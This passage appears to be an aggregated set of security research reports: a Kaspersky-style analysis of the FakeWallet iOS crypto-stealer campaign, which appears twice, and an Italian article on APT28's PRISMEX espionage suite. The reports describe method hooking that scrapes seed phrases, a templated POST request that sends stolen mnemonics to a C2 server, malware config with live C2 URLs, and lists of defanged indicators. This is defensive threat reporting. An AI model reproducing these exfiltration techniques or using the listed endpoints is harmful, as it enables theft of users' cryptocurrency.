  • Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
  • As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
    • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
    • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.


  • Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics
The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

  • MnemonicVerifyScreen, embedded in PortfolioNavigator
  • PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification
Phishing window for seed phrase verification

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

  • verify-wallet-status.json tracks the current status and the timestamp of the last update.
  • verify-wallet-config.json stores the C2 server configuration the malware is currently using.
  • verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function
Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link


During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android
A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims


Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution


According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

  • Some infected apps contained SparkKitty modules alongside the FakeWallet code.
  • The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
  • Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
  • Both campaigns specifically target victims’ cryptocurrency assets.


Conclusion


Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

  • Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
  • Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
  • Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.


Indicators of compromise


Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz


securelist.com/fakewallet-cryp…

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PRISMEX: la suite di cyberspionaggio di APT28 che prende di mira Ucraina e alleati NATO con steganografia e cloud C2


@Informatica (Italy e non Italy)
APT28 ha lanciato una nuova campagna di cyberspionaggio contro Ucraina e alleati NATO con PRISMEX, una suite di malware inedita che combina steganografia 'Bit Plane Round Robin', COM


PRISMEX: la suite di cyberspionaggio di APT28 che prende di mira Ucraina e alleati NATO con steganografia e cloud C2


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Una suite di malware inedita, battezzata PRISMEX, porta la firma del GRU russo e punta diritto al cuore delle reti militari e governative legate al conflitto in Ucraina. La campagna combina steganografia proprietaria, COM hijacking e abuso di cloud storage cifrato per raggiungere i propri obiettivi restando praticamente invisibile agli strumenti di difesa tradizionali.

APT28 nel 2026: evoluzione di una minaccia permanente


APT28 — tracciato anche come Forest Blizzard, Fancy Bear e Pawn Storm — è l’unità cyber attribuita al GRU, l’intelligence militare russa. Operativo da oltre vent’anni, il gruppo ha all’attivo compromissioni di altissimo profilo: dal Partito Democratico USA nel 2016 al WADA, passando per decine di istituzioni europee e governi NATO. Ciò che distingue APT28 è la capacità di weaponizzare vulnerabilità ancora prima della loro divulgazione pubblica e di costruire toolchain modulari estremamente evasive.

La campagna documentata tra febbraio e aprile 2026 da Trend Micro, Zscaler ThreatLabz e Trellix — denominata Operation Neusploit — rappresenta un ulteriore salto qualitativo in questa direzione. L’analisi delle infrastrutture mostra che i preparativi erano in corso da settembre 2025, con exploitation attiva dal gennaio 2026.

I bersagli: una mappa geopolitica della catena logistica NATO


La selezione dei target riflette la precisa intelligence operativa del GRU. La campagna ha colpito organi esecutivi centrali ucraini, servizi di difesa, protezione civile e servizi idrometeorologici; operatori ferroviari polacchi coinvolti nella logistica degli aiuti militari; settore marittimo e trasportistico in Romania, Slovenia e Turchia; partner della filiera di approvvigionamento di munizioni in Slovacchia e Repubblica Ceca; unità droni nelle regioni di Kyiv e Kharkiv. Il denominatore comune è la catena di supporto alle operazioni militari ucraine — la stessa che il Cremlino ha interesse a monitorare e potenzialmente compromettere.

La catena di attacco: due zero-day, un RTF e un server WebDAV


Il vettore iniziale è uno spear-phishing particolarmente contestualizzato: email con lure tematici su addestramenti militari, allerte meteorologiche o contrabbando di armi — argomenti credibili per i destinatari designati. L’allegato è un documento RTF che sfrutta CVE-2026-21509, una vulnerabilità di bypass delle funzionalità di sicurezza di Microsoft Office.

All’apertura, il sistema vittima viene forzato a connettersi a un server WebDAV controllato dagli attaccanti, da cui viene recuperato automaticamente un file LNK malevolo. Questo sfrutta CVE-2026-21513 per bypassare le protezioni del browser ed eseguire silenziosamente il payload successivo. La tempistica è rivelatrice: l’infrastruttura per CVE-2026-21509 era operativa il 12 gennaio 2026, due settimane prima della divulgazione pubblica del 26 gennaio. La patch per CVE-2026-21513 è arrivata il 10 febbraio, lasciando una finestra di undici giorni da zero-day sfruttabile.

Anatomia di PRISMEX: quattro componenti, un ecosistema invisibile


PRISMEX non è un singolo malware ma una suite modulare di quattro componenti progettate per operare in concerto, ciascuna con un ruolo preciso:

  • PrismexSheet: dropper Excel con macro VBA che estrae payload nascosti nel file tramite steganografia. Mostra un documento decoy convincente (inventari droni, listini prezzi militari) per non destare sospetti e stabilisce persistenza via COM hijacking.
  • PrismexDrop: dropper nativo che prepara l’ambiente per lo sfruttamento successivo utilizzando scheduled task e COM DLL hijacking abbinati al riavvio di explorer.exe per la persistenza tra i riavvii.
  • PrismexLoader: proxy DLL che esegue codice malevolo mascherandosi da libreria legittima. Impiega la tecnica steganografica proprietaria “Bit Plane Round Robin” per estrarre payload nascosti all’interno di immagini apparentemente normali, con esecuzione interamente in memoria per minimizzare le tracce su disco.
  • PrismexStager: implant .NET basato sul framework Covenant, fortemente offuscato con nomi di funzione randomizzati. Comunica con i server C2 abusando di Filen.io, un servizio di cloud storage cifrato legittimo, rendendo il traffico malevolo indistinguibile da normali operazioni cloud.

In alcuni scenari di attacco è stato rilevato anche il deployment di MiniDoor, uno stealer specificamente progettato per l’esfiltrazione di email da Microsoft Outlook — un indicatore diretto del tipo di intelligence ricercata.

Living-off-the-Cloud: Filen.io come infrastruttura C2


L’abuso di Filen.io come canale C2 rappresenta una raffinata applicazione del paradigma Living-off-the-Cloud (LotC). Filen.io offre storage cifrato end-to-end, rendendo l’ispezione del contenuto del traffico particolarmente difficile anche per soluzioni avanzate di network detection. I sistemi di filtraggio basati su reputazione IP o domain non rilevano anomalie poiché il dominio è genuinamente legittimo e ampiamente utilizzato. Questa strategia, già osservata con OneDrive, Google Drive e Dropbox in campagne APT precedenti, viene qui applicata con un servizio meno noto e con cifratura robusta — un ostacolo aggiuntivo per i Blue Team.

Indicatori di compromissione (IOC)

# Domini usati per hosting/delivery degli exploit Office
wellnessmedcare[.]org
wellnesscaremed[.]com
freefoodaid[.]com
longsauce[.]com

# CVE sfruttate nella campagna
CVE-2026-21509 - Microsoft Office Security Feature Bypass
  Divulgazione pubblica: 26 gennaio 2026
  Infrastruttura attaccante attiva dal: 12 gennaio 2026

CVE-2026-21513 - Browser Security Feature Bypass
  Prime sample osservate: 30 gennaio 2026
  Patch Microsoft: 10 febbraio 2026 (finestra 0-day: 11 giorni)

# C2 infrastructure
Filen.io (cloud storage legittimo abusato per C2 cifrato)

# Framework C2 utilizzato
Covenant (Grunt implant) tramite PrismexStager

# Tecniche MITRE ATT&CK
T1566.001 - Spearphishing Attachment
T1221   - Template Injection (RTF)
T1574.001 - COM DLL Hijacking (PrismexDrop, PrismexSheet)
T1027.003 - Steganography: Bit Plane Round Robin (PrismexLoader)
T1053.005 - Scheduled Task/Job: Scheduled Task
T1102.002 - Web Service: Bidirectional Communication (Filen.io C2)
T1218.011 - Signed Binary Proxy Execution (Rundll32)

Consigli pratici per i difensori


La campagna PRISMEX evidenzia quanto i modelli di difesa basati su firme statiche e reputazione siano inadeguati contro attori di questo livello. Per i team di sicurezza che operano in settori ad alto rischio è essenziale: applicare immediatamente le patch CVE-2026-21509 e CVE-2026-21513 se non già fatto; monitorare comportamenti anomali di processi legittimi come explorer.exe, regsvr32 e processi COM; implementare regole di detection per COM hijacking e creazione non autorizzata di scheduled task; bloccare o monitorare il traffico verso servizi di cloud storage non approvati aziendalmente (incluso Filen.io); disabilitare le macro VBA nei documenti Office provenienti da fonti esterne tramite Group Policy o Intune; adottare una postura “assume breach” con hunting proattivo su anomalie comportamentali piuttosto che su indicatori statici.


FakeWallet crypto stealer spreading through iOS apps in the App Store


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In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background


This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for "Ledger Wallet" (formerly Ledger Live)
App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app
Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

  • MetaMask
  • Ledger
  • Trust Wallet
  • Coinbase
  • TokenPocket
  • imToken
  • Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process
An infected wallet and its corresponding profile used for the installation process

Malicious modules for hot wallets


The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

  • The extracted mnemonics are stringed together.
  • This string is encrypted using RSA with the PKCS #1 scheme.
  • The encrypted data is then encoded into Base64.
  • Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

  • Resolve symbols dataInit or processX0Parameter from the malicious library
  • Hand over control to these newly discovered functions
  • Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions
The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module


The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

  • The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
    {
    "url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
    "code": "10001", // special code "login-url": "hxxps://xxx[.]com",
    "login-code": "88761"
    }
  • Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
  • As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
    • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
    • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.


  • Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics
The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

  • MnemonicVerifyScreen, embedded in PortfolioNavigator
  • PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification
Phishing window for seed phrase verification

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

  • verify-wallet-status.json tracks the current status and the timestamp of the last update.
  • verify-wallet-config.json stores the C2 server configuration the malware is currently using.
  • verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function
Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link


During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android
A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims


Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution


According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

  • Some infected apps contained SparkKitty modules alongside the FakeWallet code.
  • The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
  • Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
  • Both campaigns specifically target victims’ cryptocurrency assets.


Conclusion


Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

  • Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
  • Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
  • Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.


Indicators of compromise


Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
